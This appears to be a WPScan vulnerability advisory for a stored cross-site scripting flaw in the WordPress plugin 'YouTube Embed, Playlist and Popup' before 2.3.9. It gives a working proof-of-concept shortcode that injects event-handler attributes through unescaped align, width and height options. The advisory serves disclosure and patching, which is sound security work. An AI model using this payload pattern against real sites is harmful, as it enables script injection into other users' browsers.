WordPress Plugin Vulnerabilities
YouTube Embed, Playlist and Popup < 2.3.9 - Contributor+ Stored XSS
Description
The plugin did not escape, validate or sanitise some of its shortcode options, available to users with a role as low as Contributor, leading to an authenticated Stored Cross-Site Scripting issue.
Proof of Concept
Affected attributes: unescaped align, width and height parameters of wpdevart_youtube shortcode. [wpdevart_youtube align='center;animation-name:twentytwentyone-close-button-transition" onanimationend="alert(1)' width='" onload="alert(2)//' height='" onmouseover="alert(3)//']dQw4w9WgXcQ[/wpdevart_youtube]
Affects Plugins
Fixed in 2.3.9 References
CVE
Classification
Type
XSS
OWASP top 10
CWE
CVSS
Miscellaneous
Original Researcher
apple502j
Submitter
apple502j
Verified
Yes
WPVDB ID
Timeline
Publicly Published
2021-06-28 (about 2 years ago)
Added
2021-06-28 (about 2 years ago)
Last Updated
2022-01-02 (about 2 years ago)
WPScan 